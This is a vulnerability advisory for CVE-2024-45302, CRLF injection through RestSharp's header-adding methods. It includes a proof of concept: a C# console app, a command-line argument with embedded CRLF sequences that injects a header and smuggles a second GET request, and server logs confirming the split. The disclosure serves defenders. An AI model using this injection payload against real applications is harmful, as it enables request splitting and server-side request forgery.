CVE-2024-45302 — CRLF Injection in RestSharp — CVE Details

### Summary The second argument to `RestRequest.AddHeader` (the header value) is vulnerable to CRLF injection. The same applies to `RestRequest.AddOrUpdateHeader` and `RestClient.AddDefaultHeader`. ### Details The way HTTP headers are added to a request is via the `HttpHeaders.TryAddWithoutValidation` method: <https://github.com/restsharp/RestSharp/blob/777bf194ec2d14271e7807cc704e73ec18fcaf7e/src/RestSharp/Request/HttpRequestMessageExtensions.cs#L32> This method does not check for CRLF characters in the header value. This means that any headers from a `RestSharp.RequestHeaders` object are added to the request in such a way that they are vulnerable to CRLF-injection. In general, CRLF-injection into a HTTP header (when using HTTP/1.1) means that one can inject additional HTTP headers or smuggle whole HTTP requests. ### PoC The below example code creates a console app that takes one command line variable "api key" and then makes a request to some status page with the provided key inserted in the "Authorization" header: ```c# using RestSharp; class Program { static async Task Main(string[] args) { // Usage: dotnet run <api key> var key = args[0]; var options = new RestClientOptions("http://insert.some.site.here"); var client = new RestClient(options); var request = new RestRequest("/status", Method.Get).AddHeader("Authorization", key); var response = await client.ExecuteAsync(request); Console.WriteLine($"Status: {response.StatusCode}"); Console.WriteLine($"Response: {response.Content}"); } } ``` This application is now vulnerable to CRLF-injection, and can thus be abused to for example perform request splitting and thus server side request forgery (SSRF): ```bash anonymous@ubuntu-sofia-672448:~$ dotnet RestSharp-cli.dll $'test\r\nUser-Agent: injected header!\r\n\r\nGET /smuggled HTTP/1.1\r\nHost: insert.some.site.here' Status: OK Response: <html></html> ``` The application intends to send a single request of the form: ```http GET /status HTTP/1.1 Host: insert.some.site.here Authorization: <api key> User-Agent: RestSharp/111.4.1.0 Accept: application/json, text/json, text/x-json, text/javascript, application/xml, text/xml Accept-Encoding: gzip, deflate, br ``` But as the application is vulnerable to CRLF injection the above command will instead result in the following two requests being sent: ```http GET /status HTTP/1.1 Host: insert.some.site.here Authorization: test User-Agent: injected header! ``` and ```http GET /smuggled HTTP/1.1 Host: insert.some.site.here User-Agent: RestSharp/111.4.1.0 Accept: application/json, text/json, text/x-json, text/javascript, application/xml, text/xml Accept-Encoding: gzip, deflate, br ``` This can be confirmed by checking the access logs on the server where these commands were run (with `insert.some.site.here` pointing to localhost): ```bash anonymous@ubuntu-sofia-672448:~$ sudo tail /var/log/apache2/access.log 127.0.0.1 - - [29/Aug/2024:11:41:11 +0000] "GET /status HTTP/1.1" 200 240 "-" "injected header!" 127.0.0.1 - - [29/Aug/2024:11:41:11 +0000] "GET /smuggled HTTP/1.1" 404 436 "-" "RestSharp/111.4.1.0" ``` ### Impact If an application using the RestSharp library passes a user-controllable value through to a header, then that application becomes vulnerable to CRLF-injection. This is not necessarily a security issue for a command line application like the one above, but if such code were present in a web application then it becomes vulnerable to request splitting (as shown in the PoC) and thus Server Side Request Forgery. Strictly speaking this is a potential vulnerability in applications using RestSharp, not in RestSharp itself, but I would argue that at the very least there needs to be a warning about this behaviour in the RestSharp documentation.